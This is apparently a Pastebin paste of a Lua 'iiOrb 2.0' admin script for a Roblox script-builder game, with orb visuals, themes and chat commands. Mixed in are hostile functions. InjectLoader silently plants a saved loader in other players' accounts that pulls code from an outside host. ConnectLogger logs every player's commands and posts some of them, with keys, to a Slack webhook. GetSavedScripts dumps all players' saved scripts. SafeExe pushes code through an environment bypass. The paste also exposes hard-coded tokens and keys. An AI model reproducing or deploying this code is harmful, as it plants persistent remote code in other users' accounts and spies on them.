Advertisement
colddddda

Untitled

Jun 2nd, 2016
47
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 40.31 KB | None | 0 0
  1. - Easiest Fixing ever l0l.
  2.  
  3. --// TOTS NOT SOLARIS :)
  4. local iiOrb = {
  5. AccessKey = "=BNFO@E%+gAOyLJbIJSlQ!IXOfg^10wezjG6Nf#^b4fO%&wFuzAQ|youxgW&3gl&epj4V5=EFLO9#HAJ";
  6. --// Kill Switch
  7. __STATUS = true;
  8. --// Administrations Components
  9. Admins = {
  10. ['DuelingBlades']={Level=5};
  11.  
  12. };
  13. Levels = {
  14. [-1]='ih8youk';
  15. [1]="User";
  16. [2]="Trusted";
  17. [3]="Friend";
  18. [4]="Trusted asf person";
  19. [5]="Creator/Developer";
  20. [2e9]='Founder';
  21. };
  22. Banned = {
  23. Control22="Still love you my - fucking cunt <3";
  24.  
  25. };
  26. Chatted = {
  27. Settings = {
  28. Prefix = ">";
  29. Suffix = ">";
  30. };
  31. Commands = {};
  32. };
  33. --// Orb Components
  34. Settings = {
  35. Orb = nil;
  36. Character = nil;
  37. Following = false;
  38. Target = "";
  39. TrailParts = {};
  40. Trail = true;
  41. OrbColor = BrickColor.new("Institutional white");
  42. TrailColor = BrickColor.new("Institutional white");
  43. Rotation = {
  44. Rot = 0;
  45. Radius = 5;
  46. Height = 1.5;
  47. Bounce = 2.0;
  48. Speed = 0.02;
  49. Length = 0.01;
  50. };
  51. };
  52. --// Tool Components
  53. Blocker = {
  54. LocalBlock = false;
  55. GlobalBlock = false;
  56. LagBlocker = true;
  57. };
  58. LagBlockedInstances = {
  59. "Message";
  60. "Hint";
  61. "Sound";
  62. };
  63. Logs = {};
  64. --// Functional Storage
  65. API = {
  66. Bootstrap = {}
  67. };
  68. }
  69. local Settings = iiOrb.Settings
  70. local API = iiOrb.API
  71. local Bootstrap = API.Bootstrap
  72. local Time = require(285173569)
  73. --local rbxdb = require(278524047)
  74. --local key = "d12ed549bd1bd58b5d9420c5c6919c4e"
  75. --pcall(rbxdb:Connect(key))
  76.  
  77. --// Output API
  78.  
  79. function API.print_to(target,input)
  80. type = type or 'Warn'
  81. if input == nil then input = "nil" end
  82. local plr
  83. if type(target)=='userdata'then
  84. plr = target
  85. elseif type(target)=='string'then
  86. plr = game:GetService('Players'):FindFirstChild(target)
  87. end
  88. if type(plr)=='userdata' then
  89. local str = Instance.new('StringValue',plr)
  90. str.Name = 'SB_Output:Output'
  91. str.Value = game:GetService('HttpService'):JSONEncode{'Warn',input}
  92. end
  93. end local print_to = iiOrb.API.print_to
  94.  
  95. function API.print(input)
  96. if input == nil then input = "nil" end
  97. for i,v in pairs(game:GetService('Players'):children())do
  98. if iiOrb.Admins[v.Name]then
  99. if iiOrb.Admins[v.Name].Level > 2 then
  100. print_to(v,input)
  101. end
  102. end
  103. end
  104. end local print = iiOrb.API.print
  105.  
  106. function API.print_lvl(level,input)
  107. if input == nil then input = "nil" end
  108. for i,v in pairs(game:GetService('Players'):GetPlayers())do
  109. if iiOrb.Admins[v.Name]then
  110. if iiOrb.Admins[v.Name].Level > level then
  111. print_to(v,input)
  112. end
  113. end
  114. end
  115. end local print_lvl = iiOrb.API.print_lvl
  116.  
  117. function API.broadcast(input)
  118. if input == nil then input = "nil" end
  119. for i,v in pairs(game:GetService('Players'):GetPlayers())do
  120. print_to(v,input)
  121. end
  122. end local broadcast = iiOrb.API.broadcast
  123.  
  124. --// Utility API
  125.  
  126. function API.Make(ClassName)
  127. return function(data)
  128. local Instance = Instance.new(ClassName)
  129. for index,value in pairs(data) do
  130. if type(index) == "number" then
  131. value.Parent = Instance
  132. else
  133. Instance[index] = value
  134. end
  135. end
  136. return Instance
  137. end
  138. end local Make = API.Make
  139.  
  140. --[[
  141. --//OPCLERP
  142. function API.clerp(p1,p2,percent)
  143. local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
  144. local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
  145. return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
  146. end]]
  147.  
  148. function API.lerp(c1, c2, al)
  149. return c1+(c2-c1)*al
  150. end
  151.  
  152. function API.clerp(c1, c2, al) -- cframe1, cframe2, alpha/percent
  153. local com1 = {c1.X,c1.Y,c1.Z,c1:toEulerAnglesXYZ()}
  154. local com2 = {c2.X,c2.Y,c2.Z,c2:toEulerAnglesXYZ()}
  155. for i,v in pairs(com1) do
  156. com1[i] = API.lerp(v,com2[i],al)
  157. end
  158. return CFrame.new(com1[1],com1[2],com1[3]) * CFrame.Angles(select(4,unpack(com1)))
  159. end
  160.  
  161. local lerp = API.lerp
  162. local clerp = API.clerp
  163.  
  164. function API.Rainbow(i)
  165. local section = i % 1 * 3
  166. local secondary = 0.5 * math.pi * (section % 1)
  167. if section < 1 then
  168. return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
  169. elseif section < 2 then
  170. return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
  171. else
  172. return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
  173. end
  174. end local Rainbow = API.Rainbow
  175.  
  176. function API.GetPlayer(msg,plr)
  177. local Collected_Players = {}
  178. if string.lower(msg) == "me" then
  179. table.insert(Collected_Players, plr)
  180. elseif string.lower(msg) == "all" then
  181. for index,player in pairs(game:GetService('Players'):children()) do
  182. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level or (plr.Name == player.Name) then
  183. table.insert(Collected_Players, player)
  184. end
  185. end
  186. elseif string.lower(msg) == "others" then
  187. for index,player in pairs(game:GetService('Players'):children()) do
  188. if player.Name ~= plr.Name then
  189. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then
  190. table.insert(Collected_Players, player)
  191. end
  192. end
  193. end
  194. elseif string.lower(msg) == "friends" then
  195. for index,player in pairs(game:GetService('Players'):children()) do
  196. if player.Name ~= plr.Name then
  197. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then
  198. if plr:IsFriendsWith(player.userId) == true then
  199. table.insert(Collected_Players, player)
  200. end
  201. end
  202. end
  203. end
  204. elseif string.lower(msg) == "nonfriends" then
  205. for index,player in pairs(game:GetService('Players'):children()) do
  206. if player.Name ~= plr.Name then
  207. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then
  208. if plr:IsFriendsWith(player.userId) == false then
  209. table.insert(Collected_Players, player)
  210. end
  211. end
  212. end
  213. end
  214. else
  215. for index,player in pairs(game:GetService('Players'):children()) do
  216. if string.sub(string.lower(player.Name), 1, #msg) == string.lower(msg) then
  217. if iiOrb.Admins[player.Name].Level <= iiOrb.Admins[plr.Name].Level or (plr.Name == player.Name) then
  218. table.insert(Collected_Players, player)
  219. end
  220. end
  221. end
  222. end
  223. return Collected_Players
  224. end local GetPlayer = API.GetPlayer
  225.  
  226. function API.GetSplit(msg)
  227. return string.find(msg,iiOrb.Chatted.Settings.Suffix)
  228. end local GetSplit = API.GetSplit
  229.  
  230. function API.Generate(Length)
  231. local Generated = ""
  232. for _ = 1, Length do
  233. Generated = Generated .. string.char(math.random(33,126))
  234. end
  235. return Generated
  236. end local Generate = API.Generate
  237.  
  238. function API.GetGarbage(plr)
  239. print_to(plr,"Got Garbage")
  240. print_to(plr,"________________________")
  241. for i = 1,10 do wait(1)
  242. print_to(plr,"| Attempt#"..i.." ["..collectgarbage("count").."] |")
  243. end
  244. print_to(plr,"________________________")
  245. end local GetGarbage = API.GetGarbage
  246.  
  247. --// Orb API
  248.  
  249. function API.SpawnOrb()
  250. Settings.Orb = Make('Part'){
  251. Name = "\5iiOrb\5";
  252. Parent = game.Workspace,
  253. BrickColor = Settings.OrbColor,
  254. Material = Enum.Material.SmoothPlastic,
  255. Transparency = .1,
  256. Anchored = true,
  257. CanCollide = false,
  258. Locked = true,
  259. FormFactor = "Symmetric",
  260. Shape = "Ball",
  261. Size = Vector3.new(1,1,1),
  262. TopSurface = 10,
  263. BottomSurface = 10,
  264. }Settings.Orb.Changed:connect(function()
  265. if not game.Workspace:FindFirstChild(Settings.Orb.Name)then
  266. if iiOrb.__STATUS == true then
  267. API.SpawnOrb()
  268. end
  269. end
  270. end)
  271. end local SpawnOrb = API.SpawnOrb
  272.  
  273. function API.MakeTrail()
  274. if Settings.Orb ~= nil and Settings.Trail == true then
  275. local Trail = Make'Part'{
  276. Name='\5iiOrb\5',
  277. CanCollide = false,
  278. Parent = Settings.Orb,
  279. BrickColor = Settings.TrailColor,
  280. Material = Enum.Material.SmoothPlastic,
  281. Transparency = .1,
  282. Anchored = true,
  283. Locked = true,
  284. FormFactor = "Custom",
  285. Size = Vector3.new(.2,.2,.2),
  286. CFrame = Settings.Orb.CFrame,
  287. TopSurface = 10,
  288. BottomSurface = 10,
  289. }table.insert(Settings.TrailParts, Trail)
  290. return Trail
  291. end
  292. end local MakeTrail = API.MakeTrail
  293.  
  294. function API.SpawnTrail()
  295. if Settings.Orb ~= nil and Settings.Trail == true then
  296. local Trail = API.MakeTrail()
  297. end
  298. end local SpawnTrail = API.SpawnTrail
  299.  
  300. function API.Rotate()
  301. game:GetService('RunService').Stepped:connect(function()
  302. if iiOrb.__STATUS == true then
  303. wait()
  304. local Following=game:GetService('Players'):FindFirstChild(Settings.Target)
  305. if Following and Following.Character and Following.Character:FindFirstChild("Torso") and Settings.Following then
  306. Settings.Character = Following.Character.Torso.CFrame
  307. else
  308. Settings.Character = CFrame.new(0,5.7,0)
  309. end
  310. if Settings.Orb ~= nil then
  311. Settings.Rotation.Rot = Settings.Rotation.Rot + Settings.Rotation.Speed
  312. Settings.Orb.Name = "ii\5Orb"
  313. Settings.Orb.CFrame = clerp(Settings.Orb.CFrame,
  314. CFrame.new(Settings.Character.p)
  315. *CFrame.new(0,3.9,0)
  316. *CFrame.Angles(0,Settings.Rotation.Rot,(math.sin((tick())*.8004)*5)*.4)
  317. *CFrame.new(Settings.Rotation.Radius, math.sin((tick())*Settings.Rotation.Bounce)*Settings.Rotation.Height,2)
  318. *CFrame.Angles(100,Settings.Rotation.Rot,(math.sin((tick())*1)*5)*.9) ,.1)
  319. API.SpawnTrail()
  320. for i,_ in next,Settings.TrailParts do
  321. if Settings.TrailParts[i] ~= nil and Settings.TrailParts[i+1] ~= nil then
  322. local Part1 = Settings.TrailParts[i]
  323. local Part2 = Settings.TrailParts[i+1]
  324. local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
  325. Part1.Name = math.random(1,99999999)
  326. Part1.Size = Vector3.new(Part1.Size.X+Settings.Rotation.Length, Mag, Part1.Size.Z+Settings.Rotation.Length)
  327. Part1.Transparency = Part1.Transparency + .017
  328. Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
  329. * CFrame.Angles(math.pi/2,0,0)
  330. if Part1.Size.X >= .74 then
  331. Part1:Destroy()
  332. table.remove(Settings.TrailParts, i)
  333. end
  334. end
  335. end
  336. end
  337. end
  338. end)
  339. end local Rotate = API.Rotate
  340.  
  341. function API.ChangeTheme(plr,theme)
  342. --// Sets orb to default configurations
  343. Settings.Orb.BrickColor = BrickColor.new('White')
  344. Settings.Orb.Transparency = .1
  345. for i,v in pairs(Settings.Orb:children())do if v.ClassName=='SpecialMesh'then v:remove()end end
  346. --// Themes
  347. if theme == 'normal' then
  348. API.SpawnTrail = function()
  349. if Settings.Orb ~= nil and Settings.Trail == true then
  350. local Trail = API.MakeTrail()
  351. end
  352. end
  353. elseif theme == 'c22' or theme == 'default' then
  354. API.SpawnTrail = function()
  355. if Settings.Orb ~= nil and Settings.Trail == true then
  356. local Trail = API.MakeTrail()
  357. spawn(function()
  358. Settings.Orb.BrickColor = BrickColor.new('Really black')
  359. Trail.BrickColor = BrickColor.new('Really red')
  360. local box = Make('SelectionBox'){
  361. Adornee = Trail;
  362. Parent = Trail;
  363. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  364. LineThickness = 0.001;
  365. Color3 = Color3.new(0,0,0);
  366. }
  367. end)
  368. end
  369. end
  370. elseif theme == 't0t' or theme == 'tr0ll' then
  371. API.SpawnTrail = function()
  372. if Settings.Orb ~= nil and Settings.Trail == true then
  373. local Trail = API.MakeTrail()
  374. spawn(function()
  375. Settings.Orb.BrickColor = BrickColor.new('White')
  376. local S_Box = Make('SelectionBox'){
  377. Adornee = Trail;
  378. Parent = Trail;
  379. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  380. LineThickness = 0;
  381. Color3 = BrickColor.new("White").Color;
  382. }
  383. Trail.BrickColor = BrickColor.new('White')
  384. wait(0.5)
  385. Trail.BrickColor = BrickColor.new('Lime green')
  386. end)
  387. end
  388. end
  389. elseif theme == 'error' or theme == 'err' then
  390. API.SpawnTrail = function()
  391. if Settings.Orb ~= nil and Settings.Trail == true then
  392. local Trail = API.MakeTrail()
  393. spawn(function()
  394. Settings.Orb.BrickColor = BrickColor.new('Really red')
  395. local S_Box = Make('SelectionBox'){
  396. Adornee = Trail;
  397. Parent = Trail;
  398. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  399. LineThickness = 0;
  400. Color3 = BrickColor.new("Really red").Color;
  401. }
  402. Trail.BrickColor = BrickColor.new('Really red')
  403. wait(0.5)
  404. Trail.BrickColor = BrickColor.new('Bright orange')
  405. end)
  406. end
  407. end
  408. elseif theme == 'rath' or theme == 'mine101' then
  409. API.SpawnTrail = function()
  410. if Settings.Orb ~= nil and Settings.Trail == true then
  411. local Trail = API.MakeTrail()
  412. spawn(function()
  413. Settings.Orb.BrickColor = Trail.BrickColor
  414. local S_Box = Make('SelectionBox'){
  415. Adornee = Trail;
  416. Parent = Trail;
  417. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  418. LineThickness = 0;
  419. Color3 = BrickColor.new("White").Color;
  420. }
  421. Trail.BrickColor = BrickColor.new('Toothpaste')
  422. wait(0.5)
  423. Trail.BrickColor = BrickColor.new('Really black')
  424. end)
  425. end
  426. end
  427. elseif theme == 'ii' then
  428. API.SpawnTrail = function()
  429. if Settings.Orb ~= nil and Settings.Trail == true then
  430. local Trail = API.MakeTrail()
  431. spawn(function()
  432. Settings.Orb.BrickColor = BrickColor.new('Really black')
  433. local box = Make('SelectionBox'){
  434. Adornee = Trail;
  435. Parent = Trail;
  436. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  437. LineThickness = 0.001;
  438. Color3 = Color3.new(0,0,0);
  439. }
  440.  
  441. Trail.BrickColor = BrickColor.new('Really black')
  442. wait(0.5)
  443. Trail.BrickColor = BrickColor.new('Lime green')
  444. end)
  445. end
  446. end
  447. elseif theme == 'gwc' then
  448. API.SpawnTrail = function()
  449. local Trail = API.MakeTrail()
  450. spawn(function()
  451. Settings.Orb.BrickColor = BrickColor.new("Lime green")
  452. local S_Box = Make('SelectionBox'){
  453. Adornee = Trail;
  454. Parent = Trail;
  455. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  456. LineThickness = 0.0000001;
  457. Color3 = BrickColor.new("Really black").Color;
  458. }
  459. Trail.BrickColor = BrickColor.new'Lime green'
  460. wait(0.50)
  461. Trail.BrickColor = BrickColor.new'Really blue'
  462. end)
  463. end
  464. elseif theme == 'whiteout' then
  465. API.SpawnTrail = function()
  466. local Trail = API.MakeTrail()
  467. spawn(function()
  468. Trail.BrickColor = BrickColor.new("White")
  469. Settings.Orb.BrickColor = BrickColor.new("Really black")
  470. local S_Box = Make('SelectionBox'){
  471. Adornee = Trail;
  472. Parent = Trail;
  473. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  474. LineThickness = 0;
  475. Color3 = BrickColor.new("Really black").Color;
  476. }
  477. local Mesh = Make('SpecialMesh'){
  478. Parent = Settings.Orb;
  479. MeshId = "http://www.roblox.com/asset/?id=1529453";
  480. Name = "Mesh";
  481. Scale = Vector3.new(2.5,2.5,2.5)
  482. }
  483. end)
  484. end
  485. elseif theme == 'hidden' then
  486. API.SpawnTrail = function()
  487. local Trail = API.MakeTrail()
  488. spawn(function()
  489. Trail.Transparency = 1
  490. Settings.Orb.Transparency = 1
  491. end)
  492. end
  493. else
  494. print_to(plr,"[Error]: "..theme.." is not a valid theme name")
  495. return
  496. end
  497. print_to(plr,"[iiOrb 2.0]: Orb has changed theme to "..theme)
  498. end local ChangeTheme = API.ChangeTheme
  499.  
  500. function API.Follow(boolean,plr)
  501. if type(plr)~='string'then return end
  502. if boolean == true then
  503. Settings.Following = true
  504. Settings.Target = plr
  505. elseif boolean == false then
  506. Settings.Following = false
  507. Settings.Target = ""
  508. end
  509. end local Follow = API.Follow
  510.  
  511.  
  512. --// Oxcool1 Sb Tools API
  513.  
  514. function API.Sbexe(cmd,plr)
  515. if not type(cmd)=='string'then return end
  516. if plr then
  517. if type(plr)=='userdata'then
  518. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  519. elseif type(plr)=='string'then
  520. plr = game:GetService('Players'):FindFirstChild(plr)
  521. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  522. end
  523. else
  524. for i,v in pairs(game:GetService('Players'):children())do
  525. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  526. end
  527. end
  528. end
  529. local Sbexe = API.Sbexe
  530. function DBAsync(DB)
  531. game:GetService'DataStoreService':GetDataStore(DB)
  532. end
  533. function API.ConnectLogger(plr)
  534. if type(plr) ~= 'userdata'then return end
  535. if plr:FindFirstChild("SB_CommandRemote",true) then
  536. plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function()
  537. if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://pastebin.com/raw.php?i=TdtSWRAL' then
  538. Sbexe("g/ns")wait(.1)
  539. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  540. end
  541. if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then
  542.  
  543. table.insert(iiOrb.Logs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)})
  544. local function slack(msg)
  545. local post = game.HttpService:PostAsync('https://sb-scripts.slack.com/services/hooks/slackbot?token=LgvzZbwa5P2tIPUzTibrtRHn&channel=%23sbmessage',msg)
  546. if post then
  547. print'Sent!'
  548. end
  549. end
  550. if plr:FindFirstChild('SB_CommandRemote',true).Value:sub(2,string.len'http://roblox-arteries.rhcloud.com/?key=') == 'http://roblox-arteries.rhcloud.com/?key=' then
  551. slack('plrname: '..plr.Name..'| '..plr:FindFirstChild'SB_CommandRemote'.Value)
  552. end
  553. local CurrentTime = Time:GetTime()
  554. local TimeStamp = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]")
  555. --rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value))
  556. end
  557. end)
  558. end
  559. end local ConnectLogger = API.ConnectLogger
  560.  
  561. function API.GetLogs(plr)
  562. print_to(plr,"Got logs")
  563. if #iiOrb.Logs > 0 then print_to(plr,"--------------------------------") end
  564. for index,data in pairs(iiOrb.Logs)do
  565. if #iiOrb.Logs > 30 then wait(.1)end
  566. print_to(plr,tostring(data.User))
  567. print_to(plr,tostring(data.Command))
  568. print_to(plr,"--------------------------------")
  569. end
  570. end local GetLogs = API.GetLogs
  571.  
  572. function API.InjectLoader(plr)
  573. Sbexe("remove/load_iiOrb",plr)
  574. Sbexe("ch/load_iiOrb/https://sb-scripts-brandan000124.c9.io/iiOrb%202.0%20Module/HttpLoad.lua",plr)
  575. Sbexe("save/load_iiOrb",plr)
  576. print('Injected loader into '..tostring(plr))
  577. print(tostring(plr)..' has been given a loader ;)')-- l0l nice
  578. end local InjectLoader = API.InjectLoader
  579.  
  580. function API.GetSavedScripts(plr)
  581. local Save_Key = string.reverse("stpircSdevaS_xoREDliubtpIrCs");
  582. print_to(plr,"Got Saved Scripts")
  583. for i,v in pairs(game:GetService('Players'):children())do
  584. if v.ClassName == 'Player' then
  585. local Encoded_Table = v:LoadString(Save_Key)
  586. local Decoded_Table
  587.  
  588. --//Table Decoding
  589. if type(Encoded_Table)=='string' and Encoded_Table=="[]"or Encoded_Table==""then
  590. Decoded_Table = {{No=" Saved Scripts"}}
  591. else
  592. Decoded_Table = game:GetService('HttpService'):JSONDecode(Encoded_Table)
  593. end
  594. --// Table Printing
  595. --print_to(plr,"------------------------------------------------------------------")
  596. print_to(plr,"--------------------------["..v.Name.."]--------------------------")
  597. if type(Decoded_Table)=='table'then
  598. for _index,_data in pairs(Decoded_Table)do
  599. for index,data in pairs(_data)do
  600. wait(.1)
  601. print_to(plr,index.." : "..data)
  602. end
  603. end
  604. end
  605. print_to(plr,"------------------------------------------------------------------")
  606. end
  607. end
  608. end local GetSavedScripts = API.GetSavedScripts
  609.  
  610. function API.GiveServerConsole(Player)
  611. if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then
  612. spawn(function()
  613. local Create = API.Make
  614. local Closed = false
  615. local ScreenGui = Create "ScreenGui" {
  616. Name = "Server Console",
  617. Parent = Player.PlayerGui
  618. }
  619. local Main = Create "TextButton" {
  620. AutoButtonColor = false,
  621. BackgroundColor3 = Color3.new(0, 0, 0),
  622. BorderSizePixel = 0,
  623. Size = UDim2.new(0, 375, 0, 15),
  624. Draggable = true,
  625. Font = "SourceSansBold",
  626. FontSize = "Size14",
  627. TextYAlignment = "Top",
  628. TextColor3 = Color3.new(1, 1, 1),
  629. Text = " Server Console",
  630. TextXAlignment = "Left",
  631. Position = UDim2.new(0.321, 0, 0.196, 0),
  632. Parent = ScreenGui
  633. }
  634. local Refresh = Create "TextButton" {
  635. Active = true,
  636. AutoButtonColor = false,
  637. BackgroundColor3 = Color3.new(0, 0, 0),
  638. BorderSizePixel = 0,
  639. Position = UDim2.new(1, 0, 0, 0),
  640. Size = UDim2.new(0, 60, 0, 15),
  641. Font = "SourceSansBold",
  642. FontSize = "Size14",
  643. Text = "Refresh",
  644. TextYAlignment = "Top",
  645. TextColor3 = Color3.new(1, 1, 1),
  646. TextYAlignment = "Top",
  647. TextXAlignment = "Right",
  648. Parent = Main
  649. }
  650. local TextButton = Create "TextButton" {
  651. AutoButtonColor = false,
  652. BackgroundColor3 = Color3.new(0, 0, 0),
  653. BorderSizePixel = 0,
  654. Position = UDim2.new(1, 60, 0, 0),
  655. Size = UDim2.new(0, 15, 0, 15),
  656. Font = "SourceSansBold",
  657. FontSize = "Size14",
  658. TextYAlignment = "Top",
  659. Text = "-",
  660. TextColor3 = Color3.new(1, 1, 1),
  661. Parent = Main
  662. }
  663. local ContentFrame = Create "Frame" {
  664. BackgroundColor3 = Color3.new(0, 0, 0),
  665. BackgroundTransparency = 0.2,
  666. BorderSizePixel = 0,
  667. Position = UDim2.new(0, 0, 0, 15),
  668. Size = UDim2.new(0, 450, 0, 0),
  669. Parent = Main
  670. }
  671. local ScrollingFrame = Create "ScrollingFrame" {
  672. Size = UDim2.new(1, 0, 1, 0),
  673. CanvasSize = UDim2.new(3, 0, 0, 0),
  674. MidImage = "rbxassetid://158362264",
  675. TopImage = "rbxassetid://158362307",
  676. BottomImage = "rbxassetid://158362221",
  677. BackgroundTransparency = 1,
  678. BorderSizePixel = 0,
  679. ScrollBarThickness = 5,
  680. Parent = ContentFrame
  681. }
  682. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  683. TextButton.MouseButton1Down:connect(function()
  684. if Closed == false then
  685. Closed = true
  686. TextButton.Text = "+"
  687. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true)
  688. delay(1, function()
  689. ScrollingFrame.Visible = false
  690. end)
  691. else
  692. Closed = false
  693. TextButton.Text = "-"
  694. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  695. delay(0.5, function()
  696. ScrollingFrame.Visible = true
  697. end)
  698. end
  699. end)
  700. local function GetNumberOfChildren(Object)
  701. local Number = -15
  702. for index,child in pairs(Object:GetChildren()) do
  703. if child.ClassName == "TextLabel" then
  704. Number = Number + 15
  705. end
  706. end
  707. return Number
  708. end
  709. local function Output(Text, Color)
  710. local Line = Create "TextLabel" {
  711. ZIndex = 2,
  712. BackgroundTransparency = 1,
  713. BorderSizePixel = 0,
  714. Text = string.format(" %s", Text),
  715. Font = "SourceSansBold",
  716. FontSize = "Size14",
  717. TextColor3 = Color,
  718. TextWrapped = false,
  719. Size = UDim2.new(1, 0, 0, 15),
  720. Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)),
  721. TextXAlignment = "Left",
  722. TextYAlignment = "Top",
  723. TextStrokeTransparency = 0.9,
  724. Parent = ScrollingFrame,
  725. }
  726. if #ScrollingFrame:GetChildren() > 29 then
  727. local NumChildren = GetNumberOfChildren(ScrollingFrame)
  728. ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren)
  729. ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5)
  730. end
  731. end
  732. local function OutputLogHistory()
  733. for index,data in pairs(game.LogService:GetLogHistory()) do
  734. if data.messageType == Enum.MessageType.MessageOutput then
  735. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1))
  736. elseif data.messageType == Enum.MessageType.MessageWarning then
  737. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4))
  738. elseif data.messageType == Enum.MessageType.MessageError then
  739. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0))
  740. elseif data.messageType == Enum.MessageType.MessageInfo then
  741. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1))
  742. end
  743. end
  744. end
  745. OutputLogHistory()
  746. Refresh.MouseButton1Down:connect(function()
  747. ScrollingFrame:ClearAllChildren()
  748. wait()
  749. OutputLogHistory()
  750. end)
  751. end)
  752. end
  753. end local GiveServerConsole = API.GiveServerConsole
  754.  
  755. function API.SafeExe(string_src,string_plr)
  756. if string_src == nil then string_src = "" end
  757.  
  758. local BypassEnv = getfenv(1)
  759. BypassEnv.script = "Locked Object"
  760. BypassEnv.print_to = print_to
  761. rawset(_G,"NewBypassEnv",BypassEnv)
  762.  
  763. local ExecuteSource = [[
  764. wait(.1)
  765. local newEnv = _G.NewBypassEnv
  766. newEnv.owner = getfenv(1).owner
  767. newEnv.print = function(i)
  768. if i == nil then i = "" end
  769. newEnv.print_to(tostring(owner),i)
  770. end
  771. setfenv(1,newEnv)
  772. ]]
  773. local ExeSrc = ExecuteSource..string_src
  774. Sbexe("c/"..ExeSrc,string_plr)
  775. end local SafeExe = API.SafeExe
  776.  
  777. --// Admin API
  778.  
  779. function API.GetAdmins(plr)
  780. for i,v in pairs(iiOrb.Admins)do
  781. print_to(plr,"["..i.."]-"..iiOrb.Levels[v.Level])
  782. end
  783. end local GetAdmins = API.GetAdmins
  784.  
  785. function API.AddCommand(Name,Usage,Desc,Level,Func)
  786. table.insert(iiOrb.Chatted.Commands,{Name=Name,Usage=Usage,Desc=Desc,Level=Level,Func=Func})
  787. end local AddCommand = API.AddCommand
  788.  
  789. function API.Chatted(plr,msg)
  790. if msg:lower()=='h/http://pastebin.com/raw.php?i=TdtSWRAL'then
  791. Sbexe("g/ns")
  792. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  793. end
  794. local Commands = iiOrb.Chatted.Commands
  795. local Prefix = iiOrb.Chatted.Settings.Prefix
  796. local Suffix = iiOrb.Chatted.Settings.Suffix
  797. local sub = string.sub
  798. local lower = string.lower
  799. if sub(msg,1,3)=='/e 'then
  800. msg = sub(msg,4)
  801. end
  802. if iiOrb.Admins[plr.Name]then
  803. for index,data in pairs(Commands)do
  804. if Prefix..data.Usage..Suffix == sub(lower(msg),1,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix))then
  805. if iiOrb.Admins[plr.Name].Level >= data.Level then
  806. local y,n = ypcall(function()
  807. data.Func(sub(msg,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix)+1), GetPlayer, plr)
  808. end)
  809. if not y then
  810. print_to(plr,"[Error]: a command related error has occured : "..n)
  811. end
  812. else
  813. print_to(plr,"[Error]: Your access level is to low for that command")
  814. end
  815. end
  816. end
  817. end
  818. end local Chatted = API.Chatted
  819.  
  820. function API.BootCommands()--// Function that calls and injects all commands
  821.  
  822. AddCommand("Test","tst","TEST TEST",1,function(Message,Collect_Players,Player)
  823. print_to(Player,"[iiOrb 2.0]: TEST")
  824. end)
  825.  
  826. AddCommand("Commands","cmds","Gets commands",1,function(Message,Collect_Players,Player)
  827. print_to(Player,"Got Commands")
  828. print_to(Player,"---------------------------------------------------------------")
  829. for index,data in pairs(iiOrb.Chatted.Commands)do
  830. print_to(Player,"["..data.Name.."]-Level["..data.Level.."]-Usage:[\""..data.Usage.."\"]-Desc:["..data.Desc.."]")
  831. print_to(Player,"---------------------------------------------------------------")
  832. end
  833. end)
  834.  
  835. AddCommand("Admins","admins","Gets admins",1,function(Message,Collect_Players,Player)
  836. print_to(Player,"Got admins")
  837. GetAdmins(Player)
  838. end)
  839.  
